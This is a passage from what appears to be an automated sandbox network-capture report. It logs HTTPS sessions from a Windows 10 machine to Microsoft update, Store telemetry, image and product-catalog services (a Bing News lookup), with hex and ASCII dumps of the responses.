Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

78 192.168.2.4 49845 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:38 UTC 1538 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-05-26 11:46:38 UTC 1539 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 21a9e430-9c94-4ad0-93f6-29473ab142c9
MS-RequestId: 911da084-095f-4317-994c-28c96e6bd91c
MS-CV: 57pHNihRlUuJcWTd.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:37 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:38 UTC 1539 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:38 UTC 1555 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:38 UTC 1571 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

79 192.168.2.4 49846 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:38 UTC 1538 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=8a797e6ed978405692c4acbf4650873f&time=20220526T114621Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:38 UTC 1574 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: cd419d50-2c5d-4d7c-b6a0-1882d0459733
Date: Thu, 26 May 2022 11:46:38 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.4 49725 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:28 UTC 83 OUT GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-
ad1da8b04cd0?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:28 UTC 83 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2626
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU"
MS-CV: 43KkWTor8EuznZWC.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 84 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 
d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb 
fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 
7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 
a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 
c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 
Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

80 192.168.2.4 49847 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:38 UTC 1575 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114622Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:38 UTC 1576 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 48fcb5d4-a435-4411-b951-3304014e7880
Date: Thu, 26 May 2022 11:46:37 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

81 192.168.2.4 49848 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:38 UTC 1575 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.BingNews_8wekyb3d8bbwe&marke
t=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: URNjEpumaUCrKeFY.0.2.4
Host: displaycatalog.mp.microsoft.com
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2022-05-26 11:46:38 UTC 1576 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:37 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 2879f3a4-3341-4c2d-9442-e7313a1b0ad6
MS-RequestId: dc898b56-8289-4662-b435-aa9a0e68953c
MS-CV: URNjEpumaUCrKeFY.0.2.4.1057842404.1554272645.1.1057842405.1909882775.0
X-Content-Type-Options: nosniff
MS-ServerId: b9576-xhzhp
Region: neu
Node: aks-bigcatrpns-32351330-vmss00004n
MS-DocumentVersions: 9WZDNCRFHVFW|4108

2022-05-26 11:46:38 UTC 1576 IN Data Raw: 31 31 37 61 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 30 35 54 31 37 3a 33 31 3a 34 35 2e 39 34 39 30 31 30 
34 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 30 38 30 32 39 36 34 33 37 35 
37 33 33 34 38 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 
Data Ascii: 117a7{"BigIds":["9WZDNCRFHVFW"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-05T1
7:31:45.9490104Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3060802964375733483","EISListingIdentifie
r":null,"BackgroundColor":"#262F38"

2022-05-26 11:46:38 UTC 1580 IN Data Raw: 30 35 30 2d 34 35 35 33 2d 62 38 65 34 2d 30 65 32 32 33 65 64 36 63 35 61 31 2e 64 66 39 63 34 35 65 66 
2d 35 61 63 36 2d 34 64 32 66 2d 62 35 32 39 2d 38 64 65 66 65 64 37 30 34 64 31 63 22 2c 22 57 69 64 74 68 22 3a 36 
36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 39 37 38 31 36 30 37 33 35 39 39 38 32 31 32 36 22 2c 22 45 49 53 
4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 23 32 36 32 46 33 38 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 
65 73 22 3a 31 37 32 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 
38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 
Data Ascii: 050-4553-b8e4-0e223ed6c5a1.df9c45ef-5ac6-4d2f-b529-8defed704d1c","Width":66},{"FileId":"3059781607
359982126","EISListingIdentifier":null,"BackgroundColor":"#262F38","Caption":"","FileSizeInBytes":1728,"Foregr
oundColor":"","Height":88,"ImagePositionInfo":"

2022-05-26 11:46:38 UTC 1584 IN Data Raw: 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 35 34 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 
43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 
6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 
61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 41 4a 6b 79 42 55 41 30 37 6e 63 46 2b 53 6c 36 76 7a 61 65 5a 74 33 
74 41 4a 45 32 2f 35 31 65 66 34 2b 41 58 51 54 45 59 67 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 
61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 36 38 2e 39 30 
30 37 31 39 39 32 36 36 32 34 37 38 34 36 2e 62 35 63 34 39 39 
Data Ascii: ","FileSizeInBytes":5424,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","Uns
caledImageSHA256Hash":"AJkyBUA07ncF+Sl6vzaeZt3tAJE2/51ef4+AXQTEYgY=","Uri":"//store-images.s-microso
ft.com/image/apps.39168.9007199266247846.b5c499

2022-05-26 11:46:38 UTC 1588 IN Data Raw: 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 
43 46 22 2c 22 54 44 22 2c 22 54 4c 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56 22 2c 
22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2
c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 
22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 
4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 
42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 
Data Ascii: BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO"
,"FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS"
,"BB","BY","BZ","BJ","BM","BT","KM","CG","CD","

2022-05-26 11:46:38 UTC 1592 IN Data Raw: 4b 22 2c 22 50 45 22 2c 22 50 48 22 2c 22 50 4c 22 2c 22 50 54 22 2c 22 51 41 22 2c 22 52 4f 22 2c 22 52 55 
22 2c 22 53 41 22 2c 22 52 53 22 2c 22 53 47 22 2c 22 53 4b 22 2c 22 53 49 22 2c 22 5a 41 22 2c 22 4b 52 22 2c 22 45 
53 22 2c 22 53 45 22 2c 22 43 48 22 2c 22 54 57 22 2c 22 54 48 22 2c 22 54 54 22 2c 22 54 4e 22 2c 22 54 52 22 2c 22 
55 41 22 2c 22 41 45 22 2c 22 47 42 22 2c 22 56 4e 22 2c 22 59 45 22 2c 22 4c 59 22 2c 22 4c 4b 22 2c 22 55 59 22 2c 2
2 56 45 22 2c 22 41 46 22 2c 22 41 58 22 2c 22 41 4c 22 2c 22 41 53 22 2c 22 41 4f 22 2c 22 41 49 22 2c 22 41 51 22 2c 
22 41 47 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 
2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 
Data Ascii: K","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH",
"TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW",
"BO","BQ","BA","BW","BV","IO","BN","BF","BI","K

2022-05-26 11:46:38 UTC 1596 IN Data Raw: 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 
65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 
63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 
22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 
6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 
6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 37 35 34 32 37 35 33 32 38 2c 5c 
22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 
Data Ascii: .BingNews_4.31.12124.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-
b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750890000384,\"platform.minVers
ion\":2814750754275328,\"platform.target\":5}],

Timestamp
kBytes
transferred
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2022-05-26 11:46:38 UTC 1600 IN Data Raw: 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 
67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 
7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 
73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 
74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 
22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 
2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 
Data Ascii: on\":2814750835277824,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"ca
tegory.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":
false},\"policy2\":{\"ageRa

2022-05-26 11:46:38 UTC 1604 IN Data Raw: 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 
22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 
5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 
5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 
64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5
c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 
37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 
Data Ascii: .removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"lev
el\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"
systemId\":16},{\

2022-05-26 11:46:38 UTC 1608 IN Data Raw: 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 
63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 
64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 
3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 
52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2
c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 
Data Ascii: ategory.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageR
ating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,
\"systemId\":12},

2022-05-26 11:46:38 UTC 1612 IN Data Raw: 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 
74 65 73 22 3a 37 39 31 32 33 37 32 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 6e 75 
6c 6c 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 61 70 70 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 
79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 6
5 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 
61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 32 2e 30 2e 
30 2e 33 32 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 
Data Ascii: perienceIds":[],"MaxDownloadSizeInBytes":7912372,"MaxInstallSizeInBytes":null,"PackageFormat":"app
x","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"Packag
eFullName":"Microsoft.BingNews_2.0.0.320_x86__8wekyb3d8bb

2022-05-26 11:46:38 UTC 1616 IN Data Raw: 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 
5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 
30 30 30 5a 22 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 30 35 54 31 
37 3a 33 31 3a 34 39 2e 36 30 37 36 33 37 30 5a 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 
65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 
65 79 73 22 3a 5b 5d 2c 22 50 49 46 69 6c 74 65 72 22 3a 7b 22 45 78 63 6c 75 73 69 6f 6e 50 72 6f 70 65 72 74 69 65 
73 22 3a 5b 5d 2c 22 49 6e 63 6c 75 73 69 6f 6e 50 72 6f 70 65 72 74 69 
Data Ascii: 0:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifiedDat
e":"2022-05-05T17:31:49.6076370Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"PIFilter":
{"ExclusionProperties":[],"InclusionProperti

2022-05-26 11:46:38 UTC 1620 IN Data Raw: 74 75 72 65 73 20 6c 69 6b 65 20 61 20 64 61 72 6b 20 6d 6f 64 65 20 66 6f 72 20 6e 69 67 68 74 74 69 6d 65 
20 72 65 61 64 69 6e 67 2e 20 54 68 65 20 61 70 70 20 69 73 20 66 72 65 65 20 74 6f 20 64 6f 77 6e 6c 6f 61 64 20 61 
6e 64 20 75 73 65 20 77 69 74 68 20 6e 6f 20 6c 69 6d 69 74 73 20 6f 6e 20 68 6f 77 20 6d 61 6e 79 20 61 72 74 69 63 6c 
